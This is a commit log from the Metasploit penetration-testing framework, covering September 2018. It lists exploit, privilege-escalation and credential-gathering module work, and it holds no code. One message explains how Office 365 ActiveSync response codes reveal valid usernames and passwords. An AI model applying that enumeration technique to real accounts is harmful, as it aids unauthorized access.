2018-09-20 15:59:29 -07:00
William Vu
576fed229e
Land #10681 , payload cached sizes fix
2018-09-20 17:51:50 -05:00
bwatters-r7
e32abe9d45
Update Payload cached sizes
2018-09-20 17:26:15 -05:00
Matthew Kienow
4acf695de9
Remove debug output and unused code
2018-09-20 18:05:36 -04:00
Matthew Kienow
8bd9faad22
Initial JSON-RPC servlet and support architecture
2018-09-20 17:39:33 -04:00
Matthew Kienow
0fd98d5eaa
Add set_raw_response method
2018-09-20 17:31:06 -04:00
bwatters-r7
768e3b4971
Land #10575 , add meterpreter chmod command
...
Merge branch 'land-10575' into upstream-master
2018-09-20 16:05:30 -05:00
bwatters-r7
87b79ec12a
update mettle version
2018-09-20 16:00:31 -05:00
Metasploit
87de89ceb8
automatic module_metadata_base.json update
2018-09-20 13:32:57 -07:00
William Vu
185931ca91
Land #10625 , repeat command to repeat commands
2018-09-20 15:24:03 -05:00
William Vu
6f72a0516f
Fix remaining typos
2018-09-20 15:23:15 -05:00
Dhiraj Mishra
4fea65170c
Updating
2018-09-20 22:50:31 +05:30
Metasploit
627d41b991
Weekly dependency update
2018-09-20 10:05:29 -07:00
Dhiraj Mishra
428e1594d5
Updating
2018-09-20 22:31:10 +05:30
Jacob Robles
981fb38d52
Remove additional unused code
2018-09-20 07:04:41 -05:00
Jacob Robles
ee604e1d23
Remove unused code
2018-09-20 07:01:58 -05:00
Green-m
37335ed282
Add spec test for cmd_set_tabs.
2018-09-20 18:36:23 +08:00
Metasploit
64a6918bc0
automatic module_metadata_base.json update
2018-09-19 20:25:55 -07:00
William Vu
111a7d28e9
Land #10677 , Pimcore and Dolibarr module renames
2018-09-19 22:18:18 -05:00
William Vu
6e51eb6c53
Rename Pimcore and Dolibarr SQLi modules
2018-09-19 22:15:14 -05:00
Jacob Robles
f99df75719
Remove uploading payload dll to disk
2018-09-19 21:24:22 -05:00
Jacob Robles
c76f095cd0
Inject Payload to Memory First
2018-09-19 21:13:49 -05:00
Metasploit
b3e7a27e32
automatic module_metadata_base.json update
2018-09-19 18:59:14 -07:00
William Vu
c5f6d4b8a5
Land #10670 , Pimcore SQLi module
2018-09-19 20:50:21 -05:00
William Vu
5477220106
Update documentation
2018-09-19 20:48:42 -05:00
Metasploit
4fae396197
automatic module_metadata_base.json update
2018-09-19 17:03:56 -07:00
William Vu
53f78cb7c3
Land #10673 , dolibarr_list_creds{,_sqli} rename
2018-09-19 18:55:05 -05:00
Metasploit
29f3af921b
automatic module_metadata_base.json update
2018-09-19 13:21:36 -07:00
Jeff Tang
bba7bcc885
add support for ext_server_unhook
2018-09-19 16:20:26 -04:00
Adam Cammack
dd942ab23c
Land #10652 , iOS Safari blur denial of service
2018-09-19 15:12:22 -05:00
Adam Cammack
dbb75fd2af
Land #10659 , Minor code cleanups
2018-09-19 14:55:47 -05:00
Shelby Pace
7698b7d7db
changed location of dolibarr module/documentation
2018-09-19 11:17:27 -05:00
Jacob Robles
42ccc37bca
Added description to module
2018-09-19 10:22:51 -05:00
Jacob Robles
05095c8f8d
Add documentation
2018-09-19 09:29:51 -05:00
Kent 'picat' Gruber
f4b7584b6c
use max_by &:size instead of max
...
this should fix the issue in the PR
2018-09-19 10:26:21 -04:00
Jacob Robles
8a20e0e702
Specific target, add process option
2018-09-19 08:49:54 -05:00
Jacob Robles
dfa030c2df
Use System Directory
2018-09-19 08:49:12 -05:00
Shelby Pace
b6ca8cac7f
renamed/relocated files, changed uri
2018-09-19 08:11:45 -05:00
Hubert Lin
22c57d1bf0
chmod 644
2018-09-19 18:19:12 +08:00
William Vu
c7ee3bdf45
Land #10666 , compatible_sessions NoMethodError fix
2018-09-19 03:44:04 -05:00
Hubert Lin
36fa8f2ffc
Added exploit module for Delta Electronics Delta Industrial Automation COMMGR 1.08 Stack Buffer Overflow.
2018-09-19 15:28:46 +08:00
Hubert Lin
827219aff3
Revert "Added exploit module for Delta Electronics Delta Industrial Automation COMMGR 1.08 Stack Buffer Overflow"
...
This reverts commit d06587caef .
2018-09-19 15:22:12 +08:00
Hubert Lin
46481a8efb
Merge branch 'delta_ia_commgr_bof' of github.com:hubertwslin/metasploit-framework into delta_ia_commgr_bof
2018-09-19 15:19:19 +08:00
Hubert Lin
d06587caef
Added exploit module for Delta Electronics Delta Industrial Automation COMMGR 1.08 Stack Buffer Overflow
2018-09-19 15:09:40 +08:00
Hubert Lin
9ae17daf46
Added exploit module for Delta Electronics Delta Industrial Automation COMMGR 1.08 Stack Buffer Overflow
2018-09-19 15:02:07 +08:00
Hubert Lin
5b6938e942
Revert "Added exploit module for Delta Electronics Delta Industrial Automation COMMGR 1.08 Buffer Overflow"
...
This reverts commit 1a9aa8ac3b .
Need to branch it.
2018-09-19 13:20:00 +08:00
William Vu
1d091408f7
Make msftidy happy
2018-09-18 20:00:08 -05:00
William Vu
6a63feced4
Merge remote-tracking branch 'upstream/master' into pr/10418
2018-09-18 19:54:44 -05:00
Wei Chen
c68f900330
Update module
2018-09-18 18:28:23 -05:00
Shelby Pace
0c842b852b
changed available? expression
2018-09-18 15:47:25 -05:00
asoto-r7
fd8ad6f4d8
struts2_namespace_ognl: Added verbose messages for errors with Tomcat >= 7.0.88
2018-09-18 15:26:28 -05:00
Shelby Pace
e9faf305b2
randomize number, use vars_get
2018-09-18 15:03:32 -05:00
asoto-r7
4933f47ac5
struts2_namespace_ognl: Remove debugging code
2018-09-18 14:46:41 -05:00
asoto-r7
a9e6257891
struts2_namespace_ognl multishot OGNL payloads for Windows Meterpreter support
2018-09-18 14:27:47 -05:00
Shelby Pace
d83e108e74
added check for valid apikey, changed available?
2018-09-18 14:19:16 -05:00
Shelby Pace
b98dfe0e7f
changed wording and line numbers
2018-09-18 13:33:09 -05:00
Shelby Pace
2cf1fbcb2c
storing user credentials
2018-09-18 13:27:46 -05:00
Brendan Coles
4fb223b293
Add Solaris RSH Stack Clash Privilege Escalation module
2018-09-18 17:38:59 +00:00
Dhiraj Mishra
ad59a52298
Updating
2018-09-18 22:56:45 +05:30
Shelby Pace
269da6ac9a
removed remaining line from template
2018-09-18 12:23:13 -05:00
Shelby Pace
34f07619d5
added documentation for module
2018-09-18 12:08:31 -05:00
7echSec
47afa21b5f
Added Unmarshal visual studio project
2018-09-18 19:59:30 +05:30
Dhiraj Mishra
8e0d104925
Spaces at EOL
2018-09-18 19:39:52 +05:30
Dhiraj Mishra
1b220514bb
Updating
2018-09-18 19:23:39 +05:30
Green-m
85c40a122a
Fix crash issue when auto complete the session option.
2018-09-18 18:49:56 +08:00
Dhiraj Mishra
03d50f2773
Adding documentation
2018-09-18 15:41:03 +05:30
Dhiraj Mishra
07b79936b9
Fixing spaces at EOL
2018-09-18 15:28:00 +05:30
Dhiraj Mishra
882d182fdb
WIP: Updating
...
Thank you bcoles
2018-09-18 15:13:12 +05:30
Brendan Coles
ca0bf841e1
Land #10665 , print error msg when killing an invalid job ID - Fix #10655
2018-09-18 09:38:39 +00:00
Dhiraj Mishra
89b0ac6f87
Adding suport files
2018-09-18 14:59:43 +05:30
Hubert Lin
1a9aa8ac3b
Added exploit module for Delta Electronics Delta Industrial Automation COMMGR 1.08 Buffer Overflow
2018-09-18 16:09:05 +08:00
Brendan Coles
0108e41b04
Move AKA reference to Notes hash
2018-09-18 08:00:44 +00:00
Green-m
d24eb2dbac
Add a comment
2018-09-18 15:58:09 +08:00
Green-m
862a8c921c
Fix issue when kill a job with non-integer jobid
2018-09-18 15:50:00 +08:00
Green-m
d4cdaf56ae
Fix issue when kill a non-existent job.
2018-09-18 15:48:30 +08:00
Brendan Coles
2f5bd4b714
Add Solaris 'EXTREMEPARR' dtappgather Privilege Escalation module
2018-09-18 07:23:10 +00:00
Dhiraj Mishra
26ebd17954
WIP: CVE-2018-8120
2018-09-18 12:37:57 +05:30
Metasploit
1260c8f801
automatic module_metadata_base.json update
2018-09-17 20:41:37 -07:00
Brent Cook
549440595f
Land #10627 , Add SMB2 support to smb_enumshares
2018-09-17 22:34:42 -05:00
Brent Cook
6126a627cc
Land #10570 , AKA Metadata Refactor
2018-09-17 22:29:20 -05:00
Brent Cook
a814899dc2
Land #10660 , deregister RHOSTS as well as RHOST
2018-09-17 22:26:37 -05:00
Brent Cook
1aabf8d83f
deregister RHOSTS as well
2018-09-17 22:26:16 -05:00
Brent Cook
35fcc572ba
Land #10662 , Fix travis-ci builds
2018-09-17 21:58:32 -05:00
Brent Cook
844dba669f
comment better
2018-09-17 21:32:35 -05:00
Brent Cook
e438f618bb
install docker-compose manually
2018-09-17 21:18:44 -05:00
Jacob Robles
83af598e6a
Updated VS solution and module
2018-09-17 17:38:19 -05:00
h00die
a462a84b61
Land #10653 additional gcc paths for solaris libs
2018-09-17 18:23:21 -04:00
Metasploit
81a0122aae
automatic module_metadata_base.json update
2018-09-17 15:21:29 -07:00
h00die
5089c19453
Land #10620 Solaris 10 LPE for libnspr
2018-09-17 18:10:16 -04:00
William Vu
b74e662385
Land #10649 , https://seclists.org references
2018-09-17 17:07:49 -05:00
Erin Bleiweiss
011c25ed59
Merge changes from master (ghostscript)
2018-09-17 13:57:28 -05:00
Shelby Pace
fef728dccd
getting user credentials
2018-09-17 12:39:58 -05:00
Brendan Coles
30d8a38897
deregister_options RHOSTS
2018-09-17 16:58:57 +00:00
Brent Cook
86f5b25d8f
Land #10563 , Add 'Notes' metadata section
2018-09-17 11:18:08 -05:00
AverageSecurityGuy
91edebb2ef
Add references, clean up code.
2018-09-17 10:30:54 -04:00
Kent 'picat' Gruber
781d808056
use tr insteas of gsub
2018-09-17 09:54:07 -04:00
Kent 'picat' Gruber
c3ca1a6cb8
use tr instead of gsub
2018-09-17 09:53:59 -04:00
Kent 'picat' Gruber
c97a2ce626
use delete! insteas of gsub
2018-09-17 09:50:21 -04:00
Kent 'picat' Gruber
bcf78e6067
use tr instead of gsub
2018-09-17 09:45:52 -04:00
Kent 'picat' Gruber
31a2afb586
use max instead of sort[-1]
2018-09-17 09:45:20 -04:00
Brendan Coles
83039781de
Background payload execution
2018-09-17 08:42:04 +00:00
Brendan Coles
c8906f8772
Add check for Solaris system patch revision
2018-09-17 08:32:52 +00:00
Pedro Ribeiro
b9727c79b1
Merge pull request #43 from rapid7/master
...
aaa
2018-09-17 16:19:26 +09:00
h00die
ff5de7b81d
Merge branch 'master' of https://github.com/rapid7/metasploit-framework into srsexec
2018-09-16 20:11:30 -04:00
Tim W
b10671a331
Fix #10601 , add api key for android wlan_geolocate
2018-09-17 06:04:11 +08:00
Brendan Coles
28f23a842a
Update gcc path for Solaris
2018-09-16 17:22:38 +00:00
Tim W
a9b9e7420b
update description
2018-09-16 19:51:15 +08:00
Tim W
1d2519978d
improve div tags
2018-09-16 18:57:09 +08:00
Brendan Coles
b76849d64e
Update gcc path for Solaris
2018-09-16 07:39:07 +00:00
Tim W
2eb97ea07b
add ios blur dos module
2018-09-16 13:44:43 +08:00
William Vu
4c036e70c1
Fix http://seclists.org links to https://
...
I have no idea how this happened in my own code. I was seeing https://.
2018-09-15 18:54:45 -05:00
William Vu
bcb7348648
Land #10645 , writable? method for Msf::Post::File
2018-09-15 17:27:42 -05:00
Hendrik Van Belleghem
96fd4d4525
Updated documentation for couchdb_enum
2018-09-15 23:42:20 +02:00
Hendrik Van Belleghem
1ed3c0b001
Added Green-M to author list
2018-09-15 23:34:04 +02:00
Hendrik Van Belleghem
f5f76a609d
Clean up - old couchdb module
2018-09-15 23:31:17 +02:00
Hendrik Van Belleghem
4a72a2872f
Changes in couchdb_enum now includes versio checks
2018-09-15 21:19:51 +02:00
Brendan Coles
1f4a1a388e
Update gcc path
2018-09-15 18:16:03 +00:00
Kevin Gonzalvo
5a21444d39
Fix documentation
...
Added 'post' when use module.
2018-09-15 14:27:21 +02:00
h00die
44304d33b9
fix travis issues
2018-09-15 07:59:53 -04:00
Hendrik Van Belleghem
aed609d6f0
Changes in couchdb_enum to also include fill database enumeration
2018-09-15 13:58:54 +02:00
Kevin Gonzalvo
68750ca19c
Added documentation
...
Documentation is added for the post-exploitation modules vnc_password_osx.
2018-09-15 12:20:01 +02:00
Brendan Coles
ea47b6de04
Add writable? method to Msf::Post::File - Fix #10644
2018-09-15 06:29:24 +00:00
Brendan Coles
d49d7a1214
Land #10638 , Warn when listing inactive sessions without DB connection
...
Replaces confusing message and stack trace with a warning message,
when the `sessions -d` command is used to list inactive sessions
when no database is connected.
2018-09-15 05:36:37 +00:00
h00die
af7d76b52d
changes from first review
2018-09-14 20:10:59 -04:00
bwatters-r7
f38e6f45ce
Redo dllinjection
2018-09-14 17:47:53 -05:00
Erin Bleiweiss
6fae6065d6
Upcase all the things
2018-09-14 16:05:43 -05:00
Erin Bleiweiss
e590b7c01f
Consolidate notes reference in erb templates
2018-09-14 12:08:22 -05:00
Erin Bleiweiss
184d1d5954
Leave notes type as a plain hash
2018-09-14 11:17:37 -05:00
William Vu
7c79bbd998
Land #10389 , PTY support for Meterpreter "shell"
2018-09-14 11:16:41 -05:00
Kent 'picat' Gruber
c71078a381
use max instead of sort_by { |p| p.size }.last
...
`sort_by { |p| p.size }.last` is less readable compared to just using the `max` method
I believe this does basicall the exact same thing, ontop of being much faster in my micro benchmark.
The old method was, something like, 8 times slower.
2018-09-14 11:19:16 -04:00
Kent 'picat' Gruber
2dcfdcbdc4
remove redundant hash merge
...
https://github.com/JuanitoFatas/fast-ruby#hashmerge-vs-hash-code
2018-09-14 11:04:39 -04:00
Kent 'picat' Gruber
ed338bbeec
use tr instead of gsub
...
https://github.com/rails/rails/pull/17257
https://github.com/JuanitoFatas/fast-ruby#stringgsub-vs-stringtr-code
2018-09-14 10:51:51 -04:00
Shelby Pace
d2f587894b
Initial metadata setup
2018-09-14 09:37:23 -05:00
Green-m
11b2054224
Add meterpreter service post module.
2018-09-14 17:20:14 +08:00
h00die
900ea620c7
msftidy
2018-09-13 21:28:49 -04:00
h00die
6cef61ddbc
finish srsexec add docs
2018-09-13 21:20:09 -04:00
William Vu
4a759fd048
Refactor cmd_shell and add cmd_shell_{help,tabs}
2018-09-13 19:44:24 -05:00
asoto-r7
4cf344dd83
WIP: Initial CVE-2018-8440 / ALPC-TaskSched-LPE
2018-09-13 18:00:20 -05:00
Hendrik Van Belleghem
d6847918af
Added documentation for couchdb_2017-12635.rb
2018-09-14 00:49:17 +02:00
Hendrik Van Belleghem
33037b6b26
Fixes for CouchDB CVE 2017-12635 module
2018-09-14 00:15:11 +02:00
William Vu
cfbd259e80
Merge remote-tracking branch 'upstream/master' into pr/10389
2018-09-13 16:08:07 -05:00
William Vu
8c81250aea
Land #10639 , self.prompt initialization fix
2018-09-13 15:57:40 -05:00
Adam Cammack
7c6c621a8f
Remember to assign self.prompt in shell.rb
...
Not everything updates the prompt all the time, make them feel welcome.
2018-09-13 15:51:07 -05:00
h00die
2f53e370c9
srsexec working properly
2018-09-13 16:37:25 -04:00
William Vu
a9e52bc9be
Land #10637 , exploit.rb autofilter doc fixes
2018-09-13 14:24:36 -05:00
Matthew Kienow
c2230f98d5
Warn user about inactive sessions without DB
2018-09-13 15:13:41 -04:00
Matthew Kienow
6a6d92abc1
Check DB is active before querying sessions
2018-09-13 15:06:53 -04:00
William Vu
b3e9856851
Revert doc changes to exploit.rb autofilter
...
I think the changes might have been accidental.
3cf4329335
2018-09-13 13:27:52 -05:00
Erin Bleiweiss
6abb355111
Undo metadata change for teradata_odbc_sql.py
2018-09-13 13:10:07 -05:00
Erin Bleiweiss
e3178faa9a
Add metadata for teradata_odbc_sql.py
2018-09-13 13:09:01 -05:00
h00die
4a2f2107e5
move gather to escalate
2018-09-13 14:07:50 -04:00
h00die
4bb16f96a7
debugging srsexec
2018-09-13 14:07:50 -04:00
h00die
1af1895ac8
first attempt at srsexec
2018-09-13 14:07:50 -04:00
h00die
8025a49c44
Land #10633 fix for solaris pidof for more versions
2018-09-13 13:10:28 -04:00
Metasploit
395ce8a2fe
Weekly dependency update
2018-09-13 10:05:05 -07:00
Adam Cammack
175dec7ade
Print help when repeat is run with no commands
2018-09-13 11:27:05 -05:00
Adam Cammack
04cc7843a4
Typo fixes
2018-09-13 11:19:13 -05:00
Metasploit
fe7a832aa8
automatic module_metadata_base.json update
2018-09-13 08:30:53 -07:00
h00die
8cb1453d87
Land #10634 fix a bug in is_root? on sol/lin
2018-09-13 11:21:50 -04:00
bwatters-r7
2fbbf88ea9
Land #10560 , ms17_010_eternalblue: use SMBDomain value when provided
...
instead of ignoring it
Merge branch 'land-10560' into upstream-master
2018-09-13 10:08:54 -05:00
Brendan Coles
53a326c743
Cleanup is_root? method for Linux::Priv / Solaris::Priv
2018-09-13 08:54:31 +00:00
Brendan Coles
bba818a323
Fix Msf::Post::Solaris::System pidof method
2018-09-13 08:29:56 +00:00
Brendan Coles
a8c459db18
Update description with correct patched release
2018-09-13 08:22:13 +00:00
William Vu
68a51da27b
Land #10477 , console prompt fixes and refactor
2018-09-12 18:00:48 -05:00
William Vu
200b4bb2ec
Land #10631 , warning message fix for #10619
2018-09-12 17:35:17 -05:00
OJ
84e87b10af
Update warning message when loading mimikatz on new OSes
2018-09-13 08:31:08 +10:00
William Vu
b70960bddb
Land #10619 , mimikatz/kiwi warning per OS version
2018-09-12 17:11:11 -05:00
Hendrik Van Belleghem
3e4c3478f6
Small fixes in couchdb_2017-12635
2018-09-12 23:48:23 +02:00
Hendrik Van Belleghem
537e12ea7e
Added CouchDB user creation with Admin role Auxiliary module - 2017_12635
2018-09-12 23:17:34 +02:00
Metasploit
58a074d020
automatic module_metadata_base.json update
2018-09-12 09:08:59 -07:00
Shelby Pace
5b81ebd81b
Land #10589 , multidrop support for word xml docs
2018-09-12 11:00:11 -05:00
Tim W
5c65f23847
add chmod tab completion
2018-09-12 19:04:51 +08:00
Brendan Coles
0db1c34c40
Add check for Solaris system patches
2018-09-12 07:36:54 +00:00
Jacob Robles
d0e67c5b60
Add SMB2 support to smb_enumshares
2018-09-11 19:05:26 -05:00
Adam Cammack
d017f420bf
Fix missing exception capture
2018-09-11 17:58:41 -05:00
Adam Cammack
a8f766cfd5
Update heartbleed description to mention repeat
2018-09-11 17:41:06 -05:00
OJ
e2c6748759
Replace 'and' with '&&'
2018-09-12 08:27:27 +10:00
Adam Cammack
8fa71ade44
Add repeat command to loop msfconsole commands
2018-09-11 17:25:33 -05:00
Adam Cammack
de0f0a97fb
Add mode to Shell#run_single to re-raise errors
2018-09-11 17:23:56 -05:00
Adam Cammack
da25391426
Relocate option parsing error handling up a level
2018-09-11 17:22:05 -05:00
Adam Cammack
74ae89ac96
Minor fixups for grep
...
Use Shellwords to join words that have been shellsplit and will be
shellsplit again, and correctly reference a missing command name.
2018-09-11 17:20:34 -05:00
Brendan Coles
edbe4988d2
Land #10621 , Update Msf::Post::Solaris::System has_gcc? method
...
Updated the Msf::Post::Solaris::System has_gcc? method to also check the
default path for gcc on Solaris: /usr/sfw/bin/gcc
2018-09-11 09:47:37 +00:00
h00die
354803185c
fix msftidy warning
2018-09-11 05:24:01 -04:00
Brendan Coles
e75b5592f7
Add ForceExploit option
2018-09-11 09:23:50 +00:00
h00die
a7105b45a6
add gcc path for solaris
2018-09-11 05:18:26 -04:00
Brendan Coles
1582dacb0e
Check WritableDir is writable
2018-09-11 09:06:15 +00:00
Brendan Coles
d658ccf653
Add Solaris libnspr NSPR_LOG_FILE Privilege Escalation module
2018-09-11 08:11:11 +00:00
William Vu
117121b058
Land #10617 , sessions -x fix for when LURI is used
2018-09-11 03:00:34 -05:00
OJ
17ec5bfe73
Land #10618 - Fix Msf::Post::Solaris::Kernel class name
2018-09-11 17:16:34 +10:00
Brendan Coles
7c1ae843b1
Fix Msf::Post::Solaris::Kernel class name
2018-09-11 07:15:19 +00:00
OJ
8d6fcefccc
Fix crash when using sessions -x
2018-09-11 13:28:33 +10:00
h00die
d8f2d08058
finish up docs and 10 exploit
2018-09-10 21:08:30 -04:00
Metasploit
671cda076b
automatic module_metadata_base.json update
2018-09-10 14:33:40 -07:00
Brent Cook
a3d74d926c
Land #9897 , Fix #8404 ListenerComm Support For Exploit::Remote::TcpServer
2018-09-10 16:25:55 -05:00
Metasploit
0d774e1cd2
automatic module_metadata_base.json update
2018-09-10 13:49:36 -07:00
Brent Cook
ea2fcb6fc4
Land #10593 , Refactor SSH mixins and update modules
2018-09-10 15:38:53 -05:00
Metasploit
a0e0d1d626
automatic module_metadata_base.json update
2018-09-10 13:33:19 -07:00
William Vu
87eb600510
Land #10611 , mRemote creds gather module fixes
...
Also update #10612 to align with these changes.
2018-09-10 15:25:09 -05:00
William Vu
93a73f5e71
Fix store_loot OID
...
It's supposed to be a loot type, not the filename (now stored).
2018-09-10 15:19:28 -05:00
Metasploit
2a307236d0
automatic module_metadata_base.json update
2018-09-10 13:15:11 -07:00
William Vu
8b4820004d
Land #10612 , store_loot text/xml ctype fixes
2018-09-10 15:07:06 -05:00
William Vu
3ec4d2f22b
Normalize loot type OID
...
1. Include the vendor, product, and technology
2. Content type is already reported, extension changed
3. Original filename including extension is also reported
Can we get some sort of standard on the OID?
2018-09-10 15:06:07 -05:00
Metasploit
e3b28051b3
automatic module_metadata_base.json update
2018-09-10 09:57:17 -07:00
Jacob Robles
3d5da50b12
Land #10598 , Store Credentials Found with PhpMyAdmin Password Extractor
2018-09-10 11:49:52 -05:00
h00die
589fb4bf3b
first try at ueb mix
2018-09-09 22:41:01 -04:00
h00die
39a2d9d2a8
save xml files as xml
2018-09-09 21:24:39 -04:00
h00die
0072d9b9b1
save as xml since it is
2018-09-09 21:22:15 -04:00
h00die
70e22707c0
vi loves tabs but i dont
2018-09-09 21:19:17 -04:00
h00die
f926f6e9af
fix pathing in mremoteng
2018-09-09 21:07:47 -04:00
Oliver Morton
7604712e04
Add Documentation for office365userenum
2018-09-07 18:22:09 -04:00
Oliver Morton
56cb853014
Make Output and Log Files Optional
...
Change the 'required' attribute of the output and logfile options to
False.
Open output file for appending immediately before use and only if output
file name is configured.
2018-09-07 16:26:33 -04:00
Metasploit
741bbefae8
automatic module_metadata_base.json update
2018-09-07 13:01:40 -07:00
Wei Chen
718aaca0f4
Land #10546 , Add Apache Struts exploit: CVE-2018-11776
2018-09-07 14:54:23 -05:00
Metasploit
af993af870
automatic module_metadata_base.json update
2018-09-07 12:50:44 -07:00
Wei Chen
bd50e00ccc
Make some small changes:
...
Changes made:
* DisclosureDate
* Privileged to false
* Remove gsub for ';'
* Set cmd/unix/generic as the default payload for ARCH_CMD (linux)
2018-09-07 14:48:33 -05:00
William Vu
7f20178a05
Land #10604 , CVE for ghostscript_failed_restore
2018-09-07 14:33:42 -05:00
William Vu
b3cd4a89ad
Move CVE ref to top as per ~standard~
2018-09-07 14:33:25 -05:00
Adam Cammack
68ca771764
Add CVE reference to ghostscript_failed_restore.rb
2018-09-07 14:24:15 -05:00
Adam Cammack
541903936b
Land #10602 , Fix windows/shell/reverse_ord_tcp doc
2018-09-07 12:06:13 -05:00
Brent Cook
55ae02ba4e
DRY up doc generator
2018-09-07 11:47:29 -05:00
Brent Cook
9abb6aebb3
Fixup reverse_ord_tcp docs
2018-09-07 11:47:14 -05:00
asoto-r7
99ca6cef49
Quote-block cleanup and improved error handling
2018-09-07 11:43:04 -05:00
Shelby Pace
dbace01015
modified regex lines
2018-09-07 11:13:09 -05:00
Shelby Pace
18ffd36409
storing config file, changed regex
2018-09-07 08:13:10 -05:00
Shaksham Jaiswal
552ff027cd
fixes
2018-09-07 15:18:11 +05:30
Shaksham Jaiswal
bc1173a857
code fixes
2018-09-07 15:11:49 +05:30
Shaksham Jaiswal
8f2ab08c5e
updated docs
2018-09-07 15:06:03 +05:30
asoto-r7
3671f8f6b0
Handling for Tomcat namespace issues, 'allowStaticMethodAccess' settings, and payload output
...
Depending on the configuration of the Tomcat server, `allowStaticMethodAccess` may already be set. We now try to detect this as part of `profile_target`. But that check might fail. If so, we'll try our best and let the user control whether we prepend OGNL to enable `allowStaticMethodAccess` via the 'ENABLE_OGNL' option.
Additionally, sometimes enabling `allowStaticMethodAccess` will cause the OGNL query to fail.
Additionally additionally, some Tomcat configurations won't provide output from the payload. We'll detect that the payload ran successfully, but tell the user there was no output.
2018-09-06 17:56:42 -05:00
Erin Bleiweiss
1eb703b1b5
Refactor initialization of module's notes attribute
2018-09-06 16:15:52 -05:00
Erin Bleiweiss
41d12166fd
Use a string hash key for documentation
2018-09-06 15:57:52 -05:00
Erin Bleiweiss
b7ee406203
Use a 'reduce' to transform notes
2018-09-06 15:50:23 -05:00
Erin Bleiweiss
876240d18c
Condense note transformation inside mod_meta_common
2018-09-06 15:48:22 -05:00
Oliver Morton
ac144e027a
Add office365userenum.py as external module
...
External python module compatible with v2 and v3.
Enumerate valid usernames (email addresses) from Office 365 using
ActiveSync.
Differences in the HTTP Response code and HTTP Headers can be used to
differentiate between:
- Valid Username (Response code 401)
- Valid Username and Password without 2FA (Response Code 200)
- Valid Username and Password with 2FA (Response Code 403)
- Invalid Username (Response code 404 with Header X-CasErrorCode: UserNotFound)
Note this behaviour appears to be limited to Office365, MS Exchange
does not appear to be affected.
Microsoft Security Response Center stated on 2017-06-28 that this issue
does not "meet the bar for security servicing". As such it is not
expected to be fixed any time soon.
This script is maintaing the ability to run independently of MSF.
2018-09-06 16:42:31 -04:00
asoto-r7
7eb06b4592
Address travis errors: Updated metadata and target OS logic
2018-09-06 12:43:56 -05:00
Shelby Pace
36d125e1a8
modified line in scenarios output
2018-09-06 12:15:04 -05:00
Shelby Pace
50df5e386a
modified doc to reflect new output
2018-09-06 12:11:14 -05:00
Metasploit
8850411807
Weekly dependency update
2018-09-06 10:04:57 -07:00
Shelby Pace
6c3b1081ea
added function to grab and store user and passwd
2018-09-06 12:03:00 -05:00
asoto-r7
cb16f812ec
struts2_namespace_ognl updates from code review
...
Thanks to @wvu, @firefart, and @wchen!
2018-09-06 11:50:57 -05:00
root
1bee1e3861
Add IIS ShortName Scanner documentation
2018-09-06 12:02:32 +00:00
Metasploit
9d7c37a411
automatic module_metadata_base.json update
2018-09-06 04:00:16 -07:00
Brent Cook
dd476066cf
Land #10584 , fix session upgrade HANDLE_TIMEOUT and upgrading osx shells
2018-09-06 05:52:40 -05:00
pwnforfun
e1ec0ec899
hash_dump now working properly up to Mac OS X High Sierra (10.13.6 included)
2018-09-06 12:00:36 +02:00
William Vu
35fb0d19ab
Refactor SSH mixins and update modules
2018-09-05 23:53:11 -05:00
Metasploit
0777e5d448
automatic module_metadata_base.json update
2018-09-05 19:56:26 -07:00
Wei Chen
d23b252393
Land #10592 , support ERB for foxit_reader_uaf.rb
2018-09-05 21:48:52 -05:00
Wei Chen
254e8b9fd0
Cleanup for foxit_reader_uaf
2018-09-05 21:47:57 -05:00
Metasploit
d764b53ca2
automatic module_metadata_base.json update
2018-09-05 19:15:08 -07:00
Wei Chen
266dec45cd
Land #10564 , Add Ghostscript exploit from taviso
2018-09-05 21:07:50 -05:00
Wei Chen
6b879e3cde
Apply changes from master
2018-09-05 20:59:54 -05:00
Wei Chen
88ff85c09f
Land #10591 , Fix target DisableNops not being passed to payload
2018-09-05 20:56:48 -05:00
William Vu
f34146b288
Add module doc
2018-09-05 19:57:15 -05:00
William Vu
243267b2f5
Add Linux dropper target
2018-09-05 19:57:12 -05:00
William Vu
61044e8bca
Refactor targets to align with current style
2018-09-05 19:56:32 -05:00
William Vu
692ddc8b8b
Eschew updating imagemagick_delegate
...
The hype is over, and the target was provided as a bonus. Now update the
module language to reflect that.
2018-09-05 19:56:32 -05:00
William Vu
1491f13bd5
Add Ghostscript failed restore exploit
2018-09-05 19:56:32 -05:00
William Vu
13ff71b879
Clean up previous modules
...
Missed in 35670713ff .
2018-09-05 19:56:32 -05:00
Shelby Pace
55bf6e5dd4
removed require in erb file
2018-09-05 18:09:29 -05:00
William Vu
e2428b5c20
Fix target DisableNops not being passed to payload
2018-09-05 18:07:54 -05:00
Wei Chen
1f16052988
Make key random and fix RPC
2018-09-05 15:09:47 -05:00
Shelby Pace
6a3a4de289
included path to erb, removed multiline pdf string
2018-09-05 14:09:10 -05:00
Shelby Pace
60cdd6dfe2
added erb file for foxit_reader_uaf exploit
2018-09-05 14:07:56 -05:00
asoto-r7
14aee3a822
Added auxiliary/fileformat/multidrop support for Word XML documents
2018-09-05 11:51:48 -05:00
BrianWGray
3546b9388c
correct CVE Reference
2018-09-05 10:29:49 -04:00
Brent Cook
d25aad571f
Land #10474 , add documention for windows/shell/reverse_ord_tcp
2018-09-05 09:04:47 -05:00
OJ
635d92901f
Add warning for mimikatz and kiwi if OS versions are wrong
2018-09-05 09:34:34 +10:00
Wei Chen
d0b470879b
Add documentation for windows_defender_exe
2018-09-04 14:16:24 -05:00
Tim W
e20b625698
Land #10585 , fix #10577 , fix "Exploit failed: TypeError no implicit conversion of Array into Integer"
2018-09-05 02:53:09 +08:00
Tim W
c38a7e97fd
fix session.type for osx shells
2018-09-04 22:59:03 +08:00
Wei Chen
a3df5bb5d9
Fix rpc_info
2018-09-04 08:35:39 -05:00
Jacob Robles
0a2b0f8cec
Remove trailing comma
...
Fix issue causes target.ret to be an array
2018-09-04 07:43:43 -05:00
Tim W
b7da75d860
fix #10576 , fix session upgrade HANDLE_TIMEOUT
2018-09-04 16:46:33 +08:00
Wei Chen
d89b971d83
Add API doc for rpc_compatible_evasion_payloads
2018-09-03 22:25:51 -05:00
Wei Chen
e9c4698291
Support RPC
2018-09-03 22:15:23 -05:00
phra
8404cbea3c
test: chooses x86/call4_dword_xor => x86/xor_dynamic #2
2018-09-04 00:22:05 +02:00
phra
82d25a0fcd
test: improve test message
2018-09-03 23:08:01 +02:00
phra
360b09c244
test: use meterpreter_bind_tcp instead of meterpreter_reverse_tcp
2018-09-03 23:05:45 +02:00
phra
e2ba0ac9b9
